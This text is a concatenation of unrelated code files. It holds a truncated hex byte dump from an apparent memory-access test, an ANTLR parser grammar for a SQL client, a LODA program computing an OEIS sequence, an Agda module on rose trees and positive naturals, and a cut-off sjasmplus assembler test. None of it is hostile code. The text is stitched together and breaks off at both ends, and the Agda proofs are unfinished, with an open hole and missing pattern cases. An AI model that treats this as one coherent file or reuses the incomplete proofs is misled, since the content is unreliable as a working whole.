{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 8}}
{'a1': 1, 'd8': 1, '2d': 1, 'ed': 1, '49': 49, '41': 1, '01': 1, '6a': 1, '7e': 10, '57': 1, '00': 14686, 'ad': 1, 'f9': 1, '7d': 5, '75': 1, '46': 6649, '0f': 1, '19': 1, 'c9': 1, '0d': 1, '60': 413, '5d': 1, '4a': 1}
00 00 00 00 46 00 46 00 00 60 49 46 00 46 46 46 00 46 00 46 46 00 00 00 46 46 00 46 46 00 00 46 00 00 46 46 00 46 00 46 00 00 46 00 00 46 49 46 00 46 00 46 00 00 49 00 00 46 00 00 46 00 46 00 00 00 46 46 00 00 60 00 46 00 00 00 00 46 46 00 00 00 46 46 00 46 00 00 00 00 46 00 46 00 46 00 46 00 46 00 00 46 00 46 00 46 00 00 46 46 00 46 00 00 00 46 00 46 46 00 46 46 00 00 00 00 00 00 00 00 46 00 00 46 00 46 00 46 46 00 00 46 00 46 00 00 46 00 46 46 46 00 00 46 00 46 00 00 46 00 46 00 00 46 00 46 00 00 00 46 00 00 46 00 46 00 00 46 60 00 00 46 00 46 00 00 00 00 00 00 00 00 46 00 46 00 00 46 46 00 46 46 00 00 00 00 00 00 00 46 46 00 00 00 00 00 46 00 46 00 00 00 00 00 00 46 00 46 46 00 00 46 00 00 00 00 46 00 46 00 46 49 60 00 46 00 46 00 46 46 00 00 46 46 00 00 46 46 00 46 00 00 46 00 46 00 00 46 00 46 00 00 46 00 00 46 00 00 46 00 00 00 00 46 00 00 46 00 46 00 00 00 00 00 60 00 46 46 46 00 00 46 46 46 00 00 46 00 46 00 00 00 00 46 00 00 00 00 46 00 00 00 46 46 46 00 46 00 46 00 46 46 46 00 46 00 00 46 00 00 00 46 60 00 00 46 00 46 00 00 00 00 00 46 00 00 00 00 46 00 46 00 00 00 00 46 00 00 00 00 00 46 00 46 00 00 00 00 46 46 00 46 00 00 00 46 00 46 00 00 46 00 46 00 00 46 00 46 00 00 46 00 46 00 00 00 00 00 46 00 46 00 46 00 00 46 46 46 00 00 46 00 46 00 00 46 00 00 46 00 00 46 00 00 00 46 46 00 00 00 00 46 00 46 00 46 46 46 00 46 00 46 00 46 00 46 46 00 46 46 00 00 46 46 00 00 46 46 00 46 00 00 46 00 00 00 46 00 60 00 46 46 00 00 46 00 00 00 46 00 00 00 00 46 60 00 00 00 00 46 00 00 00 00 46 00 46 00 46 00 46 46 00 00 46 00 00 46 00 00 00 46 46 00 00 00 00 00 46 60 00 00 46 00 00 46 46 00 46 00 46 00 46 00 46 00 46 00 46 46 00 00 46 46 00 00 46 46 00 46 46 00 46 46 00 46 00 00 00 00 00 46 46 46 46 00 46 00 46 00 46 00 46 00 46 46 00 00 46 00 46 00 46 46 46 00 46 00 46 00 46 00 00 00 00 00 00 00 46 00 46 00 00 46 46 00 00 00 46 00 00 46 00 00 46 46 00 00 46 00 00 00 46 00 46 46 00 46 00 00 00 46 46 00 00 46 00 46 46 00 00 46 00 00 00 00 46 46 00 00 46 00 46 46 46 46 00 46 00 46 46 00 00 00 46 00 00 46 00 00 00 46 60 00 00 46 00 46 00 00 46 00 00 46 00 46 00 46 00 00 46 60 00 46 00 46 00 00 46 46 60 00 46 60 00 46 46 00 00 00 46 00 00 00 00 00 00 00 46 46 00 46 00 00 46 00 46 00 00 46 00 00 46 00 46 49 00 00 60 46 00 00 00 46 46 00 00 46 46 00 46 00 00 00 46 00 00 46 00 46 00 00 46 00 46 00 00 46 46 00 46 00 00 60 00 46 46 46 00 46 46 00 46 46 46 00 46 00 46 00 46 00 46 00 46 46 00 46 00 00 46 46 00 46 46 46 46 00 46 46 00 00 46 00 46 46 00 00 46 00 46 46 00 46 46 46 00 46 46 46 00 46 46 46 00 46 46 46 00 46 46 00 00 46 60 46 46 46 00 00 00 46 46 46 46 00 00 46 00 46 00 00 00 46 00 46 46 00 46 00 46 00 46 00 46 00 46 46 46 00 46 46 00 00 46 00 46 00 46 46 46 00 46 00 46 00 00 00 00 46 46 00 46 46 00 46 46 46 46 00 46 00 00 46 46 00 00 00 46 46 46 00 46 00 00 00 00 46 00 46 00 46 00 00 46 00 46 00 00 46 00 00 46 00 46 00 00 46 00 00 00 00 46 00 46 00 46 00 46 46 00 00 00 46 46 00 46 00 00 00 46 00 00 46 00 46 46 46 00 46 00 00 46 00 46 00 46 00 46 46
*/
|
src/main/antlr4/MiniSqlParser.g4 | OsamuTakahashi/bolt | 9 | 7173 | parser grammar MiniSqlParser;
options { tokenVocab=MiniSqlLexer; }
@header {
import java.util.ArrayDeque;
import com.google.cloud.spanner.ResultSet;
import com.google.cloud.spanner.Type;
import com.google.cloud.Timestamp;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import com.sopranoworks.bolt.values.*;
import com.sopranoworks.bolt.statements.*;
}
@members {
Bolt.Nut nut = null;
Admin admin = null;
String currentTable = null;
String instanceId = null;
ResultSet lastResultSet = null;
QueryContext qc = null;
}
minisql returns [ ResultSet resultSet = null ]
: stmt { $resultSet = $stmt.resultSet; lastResultSet = $resultSet; } ( ';' stmt { $resultSet = $stmt.resultSet; lastResultSet = $resultSet; })* ';'?
;
stmt returns [ ResultSet resultSet = null ]
: insert_stmt { $resultSet = $insert_stmt.resultSet; }
| update_stmt { $resultSet = $update_stmt.resultSet; }
| delete_stmt { $resultSet = $delete_stmt.resultSet; }
| query_stmt { $resultSet = nut.executeNativeQuery($query_stmt.text); }
| create_stmt {
if ($create_stmt.isNativeQuery) {
if ($create_stmt.qtext != null)
nut.executeNativeAdminQuery(admin,$create_stmt.qtext);
else
nut.executeNativeAdminQuery(admin,$create_stmt.text);
}
}
| alter_stmt { nut.executeNativeAdminQuery(admin,$alter_stmt.text); }
| drop_stmt { nut.executeNativeAdminQuery(admin,$drop_stmt.text); }
| show_stmt { $resultSet = $show_stmt.resultSet; }
| use_stmt
| /* empty */ { $resultSet = lastResultSet; }
;
query_stmt returns [ Value v = null ]
: table_hint_expr? join_hint_expr? query_expr
;
query_expr returns [ QueryContext q = null, SubqueryValue v = null, int columns = 0 ]
: { qc = new QueryContext(nut,qc); $q = qc; } ( query_expr_elem { $columns = $query_expr_elem.columns; } | query_expr_elem { $columns = $query_expr_elem.columns; } set_op query_expr )(ORDER BY expression (ASC|DESC)? (',' expression (ASC|DESC)? )* )? ( LIMIT count ( OFFSET skip_rows )? )? {
$v = new SubqueryValue(nut,$query_expr.text,qc,$columns);
qc = qc.parent();
}
;
query_expr_elem returns [ QueryContext q = null, int columns = 0 ]
: select_stmt { $columns = $select_stmt.idx; }
| '(' query_expr ')' { $columns = $query_expr.columns; }
;
select_stmt returns [ int idx = 0 ]
: SELECT (ALL|DISTINCT)? (AS STRUCT)?
(MUL | expression ( AS? alias { qc.addResultAlias(new QueryResultAlias($alias.text,$idx,qc)); } )? { $idx++; } (',' expression ( AS? alias { qc.addResultAlias(new QueryResultAlias($alias.text,$idx,qc)); } )? { $idx++; } )* )
( FROM from_item_with_joind (',' from_item_with_joind)* )?
( WHERE bool_expression )?
( GROUP BY expression (',' expression)* )?
( HAVING bool_expression )?
;
set_op : UNION (ALL|DISTINCT)
;
from_item_with_joind
: from_item join*
;
from_item
: table_name (table_hint_expr )? (AS? alias { qc.addAlias(new TableAlias($alias.text, $table_name.text)); })?
| '(' query_expr ')' table_hint_expr? (AS? alias { qc.addAlias(new ExpressionAlias($alias.text,$query_expr.v)); })?
| field_path (AS? alias { qc.addAlias(new ExpressionAlias($alias.text,$field_path.v)); })?
| ( UNNEST '(' array_expression? ')' | UNNEST '(' array_path ')' | array_path ) table_hint_expr? (AS? alias)? (WITH OFFSET (AS? alias)? )?
| '(' from_item_with_joind ')'
;
table_hint_expr
: '@' '{' table_hint_key '=' table_hint_value '}'
;
table_name returns [ String text = null ]
: ID {
// qc.setCurrentTable($ID.text);
$text = $ID.text;
}
;
alias returns [ String text = null; ]
: ID { $text = $ID.text; }
;
count : INT_VAL
;
skip_rows
: INT_VAL
;
field_path returns [ Value v = null ]
locals [ List<String> fields= new ArrayList<String>(); ]
: i=ID (DOT ID { $fields.add($ID.text); })+ { $v = new IdentifierWithFieldValue($i.text,$fields,qc); }
;
table_hint_key
: FORCE_INDEX
;
table_hint_value
: ID
;
expression returns [ Value v = null ]
: bit_or_expr { $v = $bit_or_expr.v; }
| bool_expression { $v = $bool_expression.v; }
;
bit_or_expr returns [ Value v = null ]
locals [ Value tv = null ]
: bit_xor_expr { $tv = $bit_xor_expr.v; } (BIT_OR bit_xor_expr { $tv = new ExpressionValue($BIT_OR.text,$tv,$bit_xor_expr.v); })* { $v = $tv; }
;
bit_xor_expr returns [ Value v = null ]
locals [ Value tv = null ]
: bit_and_expr { $tv = $bit_and_expr.v; } (BIT_XOR bit_and_expr { $tv = new ExpressionValue($BIT_XOR.text,$tv,$bit_and_expr.v); } )* { $v = $tv; }
;
bit_and_expr returns [ Value v = null ]
locals [ Value tv = null ]
: shift_expr { $tv = $shift_expr.v; } (BIT_AND shift_expr { $tv = new ExpressionValue($BIT_AND.text,$tv,$shift_expr.v); } )* { $v = $tv; }
;
shift_expr returns [ Value v = null ]
locals [ Value tv = null ]
: plus_expr { $tv = $plus_expr.v; } (op=(BIT_SL|BIT_SR) plus_expr { $tv = new ExpressionValue($op.text,$tv,$plus_expr.v); } )* { $v = $tv; }
;
plus_expr returns [ Value v = null ]
locals [ Value tv = null ]
: mul_expr { $tv = $mul_expr.v; } (op=(PLUS|MINUS) mul_expr { $tv = new ExpressionValue($op.text,$tv,$mul_expr.v); } )* { $v = $tv; }
;
mul_expr returns [ Value v = null ]
locals [ Value tv = null ]
: unary_expr { $tv = $unary_expr.v; } (op=(MUL|DIV) unary_expr { $tv = new ExpressionValue($op.text,$tv,$unary_expr.v); })* { $v = $tv; }
;
unary_expr returns [ Value v = null ]
: op=(MINUS|PLUS|BIT_NOT)? atom { if ($op != null) $v = new ExpressionValue($op.text, $atom.v, null); else $v = $atom.v; }
;
atom returns [ Value v = null ]
: ID { $v = (qc == null) ? new IdentifierValue($ID.text,qc) : qc.identifier($ID.text); }
| field_path { $v = $field_path.v; }
| scalar_value { $v = $scalar_value.v; }
| struct_value { $v = $struct_value.v; }
| array_expression { $v = $array_expression.v; }
| cast_expression { $v = $cast_expression.v; }
| '(' expression ')' { $v = $expression.v; }
| '(' query_expr ')' { $v = new SubqueryValue(nut,$query_expr.text,$query_expr.q,$query_expr.columns);$query_expr.q.setSubquery((SubqueryValue)$v); }
;
array_path returns [ Value v = null ]
locals [ Value arr = null ]
: (ID { $arr = (qc == null) ? new IdentifierValue($ID.text,qc) : qc.identifier($ID.text); }|field_path { $arr = $field_path.v; }|array_expression { $arr = $array_expression.v; }) '['
(OFFSET '(' expression ')' {
if ($arr == null || $expression.v == null) {
$v = NullValue$.MODULE$;
} else {
List<Value> p = new ArrayList<Value>();
p.add($arr);
p.add($expression.v);
$v = new FunctionValueImpl("\$OFFSET",p);
}
}
| ORDINAL '(' expression ')' {
if ($arr == null || $expression.v == null) {
$v = NullValue$.MODULE$;
} else {
List<Value> p = new ArrayList<Value>();
p.add($arr);
p.add($expression.v);
$v = new FunctionValueImpl("\$ORDINAL",p);
}
}) ']'
;
bool_expression returns [ Value v = null ]
locals [ List<Value> params = null ]
: a1=bit_or_expr bool_op b1=bit_or_expr { $v = new BooleanExpressionValue($bool_op.text,$a1.v,$b1.v); }
| a2=bool_expression rel b2=bool_expression { $v = new BooleanExpressionValue($rel.text,$a2.v,$b2.v); }
| bool_expression IS n1=NOT? bool_or_null_value {
String op = $n1 != null ? "!=" : "=";
$v = new BooleanExpressionValue(op,$bool_expression.v,$bool_or_null_value.v);
}
| a3=bit_or_expr BETWEEN b3=bit_or_expr AND c3=bit_or_expr {
List<Value> params = new ArrayList<Value>();
params.add($a3.v);
params.add($b3.v);
params.add($c3.v);
$v = new FunctionValueImpl("\$BETWEEN",params);
}
| a4=bit_or_expr nt1=NOT? LIKE b4=bit_or_expr {
List<Value> params = new ArrayList<Value>();
params.add($a4.v);
params.add($b4.v);
$v = new FunctionValueImpl("\$LIKE",params);
if ($nt1 != null) {
$v = new BooleanExpressionValue("!",$v,null);
}
}
| bit_or_expr nt2=NOT? IN { $params = new ArrayList<Value>(); }
( array_value { $params.add($array_value.v); }
| '(' query_expr { $params.add($query_expr.v); } ')'
| UNNEST '(' array_expression ')' { $params.add($array_expression.v); } ) {
$v = new FunctionValueImpl("\$IN",$params);
if ($nt2 != null) {
$v = new BooleanExpressionValue("!",$v,null);
}
}
| EXISTS '(' query_expr ')' {
List<Value> params = new ArrayList<Value>();
params.add($query_expr.v);
$v = new FunctionValueImpl("\$EXISTS",params);
}
| bool_value { $v = $bool_value.v; }
| function { $v = $function.v; }
| ID { $v = (qc == null) ? new IdentifierValue($ID.text,qc) : qc.identifier($ID.text); }
| field_path { $v = $field_path.v; }
| '(' bool_expression ')' { $v = $bool_expression.v; }
;
array_expression
returns [ Value v = null ]
locals [ List<Value> valueList = new ArrayList<Value>(), Type arrayType = null ]
: (ARRAY ('<' scalar_type { $arrayType = $scalar_type.tp; } '>')?)? '[' (expression { $valueList.add($expression.v); } (',' expression { $valueList.add($expression.v); })* )? ']' {
Boolean f = $arrayType != null;
$v = new ArrayValue($valueList,f,f ? $arrayType : null);
}
| ARRAY '(' query_expr ')' {
List<Value> p = new ArrayList<Value>();
p.add(new SubqueryValue(nut,$query_expr.text,$query_expr.q,$query_expr.columns));
// $query_expr.q.setSubquery($v);
$v = new FunctionValueImpl("\$ARRAY",p);
}
| ID { $v = new IdentifierValue($ID.text,qc); }
| field_path { $v = $field_path.v; }
;
array_value
returns [ Value v = null ]
locals [ List<Value> valueList = new ArrayList<Value>() ]
: '(' expression { $valueList.add($expression.v); } (',' expression { $valueList.add($expression.v); } )* ')'
;
cast_expression
returns [ Value v = null ]
: CAST '(' expression AS type ')' { $v = new CastValue($expression.v, $type.tp); }
;
column_name
: table_name '.' ID
| ID
;
join : /*from_item */join_type? join_method? JOIN join_hint_expr? from_item ( ON bool_expression | USING '(' join_column (',' join_column)* ')' )?
;
join_type
: INNER | CROSS | FULL OUTER? | LEFT OUTER? | RIGHT OUTER?
;
join_method
: HASH
;
join_hint_expr
: '@' '{' join_hint_key '=' join_hint_value (',' join_hint_value)* '}'
;
join_hint_key
: FORCE_JOIN_ORDER | JOIN_TYPE
;
join_column
: column_name /* temporary */
;
join_hint_value
: ID /* temporary */
;
insert_stmt returns [ ResultSet resultSet = null ]
locals [
List<String> columns = new ArrayList<String>(),
List< List<Value> > bulkValues = new ArrayList<List<Value>>()
]
: INSERT { qc = new QueryContext(nut,qc); } INTO? tbl=ID (AS? alias)? ( '(' ID { $columns.add($ID.text); } (',' ID { $columns.add($ID.text); } )* ')' )?
VALUES values {
if ($columns.size() == 0)
// nut.insert($tbl.text,$values.valueList);
nut.execute(new SimpleInsert(nut,qc,$tbl.text,null,$values.valueList));
else
// nut.insert($tbl.text,$columns,$values.valueList);
nut.execute(new SimpleInsert(nut,qc,$tbl.text,$columns,$values.valueList));
qc = qc.parent();
}
| INSERT { ;qc = new QueryContext(nut,qc); } INTO? tbl=ID (AS? alias)? ( '(' ID { $columns.add($ID.text); } (',' ID { $columns.add($ID.text); } )* ')' )?
VALUES values { $bulkValues.add($values.valueList); } (',' values { $bulkValues.add($values.valueList); }) + {
if ($columns.size() == 0)
// nut.bulkInsert($tbl.text,$bulkValues);
nut.execute(new BulkInsert(nut,qc,$tbl.text,null,$bulkValues));
else
// nut.bulkInsert($tbl.text,$columns,$bulkValues);
nut.execute(new BulkInsert(nut,qc,$tbl.text,$columns,$bulkValues));
qc = qc.parent();
}
| INSERT { qc = new QueryContext(nut,qc); } INTO? tbl=ID (AS? alias)? ( '(' ID { $columns.add($ID.text); } (',' ID { $columns.add($ID.text); } )* ')' )? query_expr {
if ($columns.size() == 0)
// nut.insertSelect($tbl.text,$query_expr.v);
nut.execute(new InsertSelect(nut,qc,$tbl.text,null,$query_expr.v));
else
// nut.insertSelect($tbl.text,$columns,$query_expr.v);
nut.execute(new InsertSelect(nut,qc,$tbl.text,$columns,$query_expr.v));
}
;
update_stmt
returns [ ResultSet resultSet = null, String hint = null ]
locals [
List<KeyValue> kvs = new ArrayList<KeyValue>(),
List<String> columns = new ArrayList<String>()
]
: UPDATE { qc = new QueryContext(nut,qc); } table_name { currentTable = $table_name.text;qc.setCurrentTable($table_name.text); } (table_hint_expr { $hint = $table_hint_expr.text; })? (AS? alias { qc.addAlias(new TableAlias($alias.text,$table_name.text)); })?
SET ID EQ expression { $kvs.add(new KeyValue($ID.text,$expression.v)); } ( ',' ID EQ expression { $kvs.add(new KeyValue($ID.text,$expression.v)); } )*
where_stmt ( LIMIT ln=INT_VAL )? {
nut.execute(new SimpleUpdate(nut,qc,currentTable,$kvs,$where_stmt.where,$hint));
qc = qc.parent();
}
| UPDATE { qc = new QueryContext(nut,qc); } table_name { currentTable = $table_name.text; } (table_hint_expr { $hint = $table_hint_expr.text; })? (AS? alias { qc.addAlias(new TableAlias($alias.text,$table_name.text)); })?
SET '(' ID { $columns.add($ID.text); } (',' ID { $columns.add($ID.text); })* ')' EQ '(' query_expr ')' where_stmt ( LIMIT ln=INT_VAL )? {
nut.execute(new UpdateSelect(nut,qc,currentTable, $columns, $query_expr.v, $where_stmt.where,$hint));
qc = qc.parent();
}
;
delete_stmt returns [ ResultSet resultSet = null, String hint = null ]
locals [ Where where = null ]
: DELETE { qc = new QueryContext(nut,qc); } FROM ID { currentTable = $ID.text; } (table_hint_expr { $hint = $table_hint_expr.text; })? (where_stmt { $where = $where_stmt.where; })? {
nut.execute(new Delete(nut,qc,currentTable,$where,$hint));
qc = qc.parent();
}
;
create_stmt returns [ Boolean isNativeQuery = true, String qtext = null ]
locals [ Boolean ifNotExists = false ]
: CREATE TABLE (IF NOT EXISTS { $ifNotExists = true;})? create_table {
if ($ifNotExists) {
$isNativeQuery = !nut.tableExists($create_table.name);
if ($isNativeQuery) {
$qtext = "CREATE TABLE " + $create_table.text;
}
} else {
$isNativeQuery = true;
}
}
| CREATE uq=UNIQUE? nf=NULL_FILTERED? INDEX (IF NOT EXISTS { $ifNotExists = true;})? create_index {
if ($ifNotExists) {
$isNativeQuery = !nut.indexExists($create_index.tableName,$create_index.indexName);
if ($isNativeQuery) {
$qtext = "CREATE " + ($uq != null ? "UNIQUE " : "") + ($nf != null ? "NULL_FILTERED " : "") + " INDEX " + $create_index.text;
}
} else {
$isNativeQuery = true;
}
// $isNativeQuery = ($ifNotExists) ? !nut.indexExists($create_index.tableName,$create_index.indexName) : true;
}
| CREATE DATABASE ID {
$isNativeQuery = false;
nut.createDatabase(admin,instanceId,$ID.text);
}
;
use_stmt: USE ID { nut.changeDatabase($ID.text); }
;
create_table returns [ String name = null ]
: ID { $name = $ID.text; } '(' column_def (',' column_def )* ')' primary_key (',' cluster )?
;
column_def
: ID (scalar_type | array_type) (NOT NULL)?
;
primary_key
: PRIMARY KEY '(' key_part ( ',' key_part )* ')'
;
key_part: ID (ASC | DESC)?
;
cluster : INTERLEAVE IN PARENT ID ( ON DELETE ( CASCADE | NO ACTION ) )?
;
type returns [ Type tp = null ]
: scalar_type { $tp = $scalar_type.tp; }
| array_type { $tp = $array_type.tp; }
;
scalar_type returns [ Type tp = null ]
: BOOL { $tp = Type.bool(); }
| INT64 { $tp = Type.int64(); }
| FLOAT64 { $tp = Type.float64(); }
| STRING_TYPE '(' length ')' { $tp = Type.string(); }
| BYTES '(' length ')' { $tp = Type.bytes(); }
| DATE { $tp = Type.date(); }
| TIMESTAMP { $tp = Type.timestamp(); }
;
length : INT_VAL
| ID {
if (!$ID.text.equalsIgnoreCase("MAX")) {
throw new ParseCancellationException(String.format("invalid identifier: %s",$ID.text));
}
}
;
array_type returns [ Type tp = null ]
: ARRAY '<' scalar_type '>' { $tp = Type.array( $scalar_type.tp ); }
;
create_index returns [ String indexName = null, String tableName = null ]
: ID { $indexName=$ID.text; } ON ID { $tableName = $ID.text; } '(' key_part (',' key_part )* ')' (storing_clause (',' interleave_clause)? | interleave_clause)?
;
storing_clause
: STORING '(' ID (',' ID)* ')'
;
interleave_clause
: INTERLEAVE IN ID
;
alter_stmt returns [ ResultSet resultSet = null ]
: ALTER TABLE ID table_alteration
;
table_alteration
: ADD COLUMN column_def
| ALTER COLUMN column_def
| DROP COLUMN column_name
| SET ON DELETE (CASCADE| NO ACTION)
;
drop_stmt
: DROP TABLE ID
| DROP INDEX ID
;
show_stmt returns [ ResultSet resultSet = null ]
: SHOW ID {
if ($ID.text.equalsIgnoreCase("TABLES")) {
$resultSet = nut.showTables();
} else
if ($ID.text.equalsIgnoreCase("DATABASES")) {
$resultSet = nut.showDatabases(admin,instanceId);
} else {
// exception
throw new RuntimeException("Unknown token:" + $ID.text);
}
}
| SHOW (FULL)? ID { if (!$ID.text.equalsIgnoreCase("COLUMNS")) throw new RuntimeException("Unknown token:" + $ID.text); } (FROM|IN) ID { $resultSet = nut.showColumns($ID.text); }
| (DESC|DESCRIBE) ID { $resultSet = nut.showColumns($ID.text); }
| SHOW CREATE TABLE ID { $resultSet = nut.showCreateTable($ID.text); }
| SHOW INDEX (FROM|IN) ID { $resultSet = nut.showIndexes($ID.text); }
;
scalar_value returns [ Value v = null ]
: scalar_literal { $v = $scalar_literal.v; }
| function { $v = $function.v; }
| array_path { $v = $array_path.v; }
;
scalar_literal returns [ Value v = null ]
: STRING { $v = new StringValue($STRING.text.substring(1,$STRING.text.length() - 1)); }
| INT_VAL { $v = new IntValue($INT_VAL.text,0,false); }
| DBL_VAL { $v = new DoubleValue($DBL_VAL.text,0,false); }
| bool_or_null_value { $v = $bool_or_null_value.v; }
| datetime_value { $v = $datetime_value.v; }
;
bool_or_null_value returns [ Value v = null ]
: bool_value { $v = $bool_value.v; }
| null_value { $v = $null_value.v; }
;
bool_value returns [ Value v = null ]
: TRUE { $v = new BooleanValue(true); }
| FALSE { $v = new BooleanValue(false); }
;
datetime_value returns [ Value v = null ]
: DATE STRING { $v = new DateValue($STRING.text.substring(1,$STRING.text.length() - 1),null); }
| TIMESTAMP STRING { $v = new TimestampValue($STRING.text.substring(1,$STRING.text.length() - 1),null,0); }
| INTERVAL INT_VAL ID { $v = new IntervalValue(Integer.parseInt($INT_VAL.text),$ID.text); }
;
null_value returns [ Value v = null ]
: NULL { $v = NullValue$.MODULE$; }
;
struct_value returns [ StructValue v = null; ]
locals [ int idx = 0 ]
: STRUCT { $v = new StructValue(); } '(' expression { $v.addValue($expression.v);} (AS? alias { $v.addFieldName($alias.text,$idx); })? { $idx++; } (',' expression { $v.addValue($expression.v); } (AS? alias { $v.addFieldName($alias.text,$idx); } )? { $idx++; } )* ')'
;
function returns [ Value v = null ]
locals [ List<Value> vlist = new ArrayList<Value>(), String name = null ]
: (ID { $name = $ID.text; }| IF { $name="IF"; }| DATE { $name="DATE"; } ) '(' (MUL | expression { $vlist.add($expression.v); } (',' expression { $vlist.add($expression.v); })* )? ')' {
$v = new FunctionValueImpl($name.toUpperCase(),$vlist);
}
| EXTRACT '(' ID FROM expression ')' {
$v = new ResultFieldValue($expression.v,$ID.text);
}
;
where_stmt returns [ Where where = null,Value v = null ]
: WHERE bool_expression { $v = $bool_expression.v; $where = new Where(qc,null,"WHERE " + $bool_expression.text,$v); }
;
values returns [ List<Value> valueList = new ArrayList<Value>() ]
: '(' expression { $valueList.add($expression.v); } ( ',' expression { $valueList.add($expression.v); } )* ')'
;
rel returns [ String text = null ]
: AND { $text = $AND.text; }
| OR { $text = $OR.text; }
| XOR { $text =$XOR.text; }
;
bool_op returns [ String text = null ]
: EQ { $text = $EQ.text; }
| NEQ { $text = $NEQ.text; }
| GT { $text = $GT.text; }
| LT { $text = $LT.text; }
| GEQ { $text = $GEQ.text; }
| LEQ { $text = $LEQ.text; }
; |
programs/oeis/029/A029119.asm | neoneye/loda | 22 | 96217 | <reponame>neoneye/loda
; A029119: Expansion of 1/((1-x)(1-x^7)(1-x^8)(1-x^11)).
; 1,1,1,1,1,1,1,2,3,3,3,4,4,4,5,6,7,7,8,9,9,10,12,13,14,15,16,17,18,20,22,23,25,27,28,30,32,34,36,38,41,43,45,48,51,53,56,59,62,65,68,72,75,78,82,86,90,94,98,102,106
lpb $0
mov $2,$0
sub $0,7
seq $2,25790 ; Expansion of 1/((1-x)(1-x^8)(1-x^11)).
add $1,$2
add $1,$2
lpe
div $1,2
add $1,1
mov $0,$1
|
Experiment/EvenOdd.agda | rei1024/agda-misc | 3 | 8089 | <gh_stars>1-10
{-# OPTIONS --without-K --safe #-}
module Experiment.EvenOdd where
open import Data.List
open import Data.List.Relation.Unary.All
open import Data.Product hiding (map)
open import Data.Sum as Sum hiding (map)
open import Data.Nat
open import Data.Nat.GeneralisedArithmetic
import Data.Nat.Properties as ℕₚ
open import Function.Base
open import Relation.Binary.PropositionalEquality
data RoseTree {a} (A : Set a) : Set a where
node : A → List (RoseTree A) → RoseTree A
unnode : ∀ {a} {A : Set a} → RoseTree A → A × List (RoseTree A)
unnode (node x rs) = x , rs
foldRoseTree : ∀ {a b} {A : Set a} {B : Set b} →
(A → List B → B) → RoseTree A → B
foldRoseTrees : ∀ {a b} {A : Set a} {B : Set b} →
(A → List B → B) → List (RoseTree A) → List B
foldRoseTree f (node x rs) = f x (foldRoseTrees f rs)
foldRoseTrees f [] = []
foldRoseTrees f (x ∷ rs) = foldRoseTree f x ∷ foldRoseTrees f rs
mapRoseTree : ∀ {a b} {A : Set a} {B : Set b} →
(A → B) → RoseTree A → RoseTree B
mapRoseTree f r = foldRoseTree (λ x rs → node (f x) rs) r
data Parity : Set where
even odd : Parity
data Pos : Set where
one : Pos
node : Parity → Pos → List Pos → Pos
op : Parity → Parity
op even = odd
op odd = even
induction : ∀ {p} {P : Pos → Set p} →
P one →
(∀ pa x xs → P x → All P xs → P (node pa x xs)) →
∀ n → P n
induction-node : ∀ {p} {P : Pos → Set p} →
P one →
(∀ pa x xs → P x → All P xs → P (node pa x xs)) →
∀ ns → All P ns
induction P1 Pn one = P1
induction P1 Pn (node pa n ns) = Pn pa n ns (induction P1 Pn n) (induction-node P1 Pn ns)
induction-node P1 Pn [] = []
induction-node P1 Pn (x ∷ ns) = induction P1 Pn x ∷ induction-node P1 Pn ns
recursion : ∀ {a} {A : Set a} → A → (Parity → A → List A → A) → Pos → A
recursion o n p = induction o (λ pa _ _ x AllAxs → n pa x (reduce id AllAxs)) p
ℕ⁺ : Set
ℕ⁺ = Σ ℕ (λ n → n ≢ 0)
1ℕ⁺ : ℕ⁺
1ℕ⁺ = 1 , (λ ())
2ℕ⁺ : ℕ⁺
2ℕ⁺ = 2 , (λ ())
sucℕ⁺ : ℕ⁺ → ℕ⁺
sucℕ⁺ (n , _) = suc n , λ ()
_+ℕ⁺_ : ℕ⁺ → ℕ⁺ → ℕ⁺
(m , m≢0) +ℕ⁺ (n , n≢0) = (m + n) , (λ m+n≡0 → m≢0 (ℕₚ.m+n≡0⇒m≡0 m m+n≡0) )
private
m*n≡0⇒m≡0∨n≡0 : ∀ m {n} → m * n ≡ 0 → m ≡ 0 ⊎ n ≡ 0
m*n≡0⇒m≡0∨n≡0 zero {zero} m+n≡0 = inj₁ refl
m*n≡0⇒m≡0∨n≡0 zero {suc n} m+n≡0 = inj₁ refl
m*n≡0⇒m≡0∨n≡0 (suc m) {zero} m+n≡0 = inj₂ refl
_*ℕ⁺_ : ℕ⁺ → ℕ⁺ → ℕ⁺
(m , m≢0) *ℕ⁺ (n , n≢0) =
(m * n) , λ m*n≡0 → Sum.[ m≢0 , n≢0 ] (m*n≡0⇒m≡0∨n≡0 m m*n≡0)
private
m^n≡0⇒m≡0 : ∀ m n → m ^ n ≡ 0 → m ≡ 0
m^n≡0⇒m≡0 zero (suc n) m^n≡0 = refl
m^n≡0⇒m≡0 (suc m) (suc n) m^n≡0 with m*n≡0⇒m≡0∨n≡0 (suc m) m^n≡0
... | inj₂ sm^n≡0 = m^n≡0⇒m≡0 (suc m) n sm^n≡0
_^ℕ⁺_ : ℕ⁺ → ℕ⁺ → ℕ⁺
(m , m≢0) ^ℕ⁺ (n , n≢0) = (m ^ n) , λ m^n≡0 → m≢0 (m^n≡0⇒m≡0 m n m^n≡0)
_⊓ℕ⁺_ : ℕ⁺ → ℕ⁺ → ℕ⁺
(m , m≢0) ⊓ℕ⁺ (n , n≢0) = (m ⊓ n) , {! !}
oℕ : ℕ → ℕ
oℕ n = 2 * n
iℕ : ℕ → ℕ
iℕ n = 1 + 2 * n
oℕ⁺ : ℕ⁺ → ℕ⁺
oℕ⁺ n = 2ℕ⁺ *ℕ⁺ n
iℕ⁺ : ℕ⁺ → ℕ⁺
iℕ⁺ n = sucℕ⁺ (2ℕ⁺ *ℕ⁺ n)
o^ℕ⁺ : ℕ⁺ → ℕ⁺ → ℕ⁺
o^ℕ⁺ (m , _) x = fold x oℕ⁺ m
i^ℕ⁺ : ℕ⁺ → ℕ⁺ → ℕ⁺
i^ℕ⁺ (m , _) x = fold x iℕ⁺ m
toℕ⁺ : Pos → ℕ⁺
toℕ⁺ = recursion 1ℕ⁺ f
where
f : Parity → ℕ⁺ → List ℕ⁺ → ℕ⁺
f even x [] = o^ℕ⁺ x 1ℕ⁺
f even x (y ∷ xs) = o^ℕ⁺ x (f odd y xs)
f odd x [] = i^ℕ⁺ x 1ℕ⁺
f odd x (y ∷ xs) = i^ℕ⁺ x (f even y xs)
|
tests/misc/env_SJASMPLUSOPTS/env_normal.asm | cizo2000/sjasmplus | 220 | 165716 | <filename>tests/misc/env_SJASMPLUSOPTS/env_normal.asm
DB 0
IFDEF FLAGSDEFINE
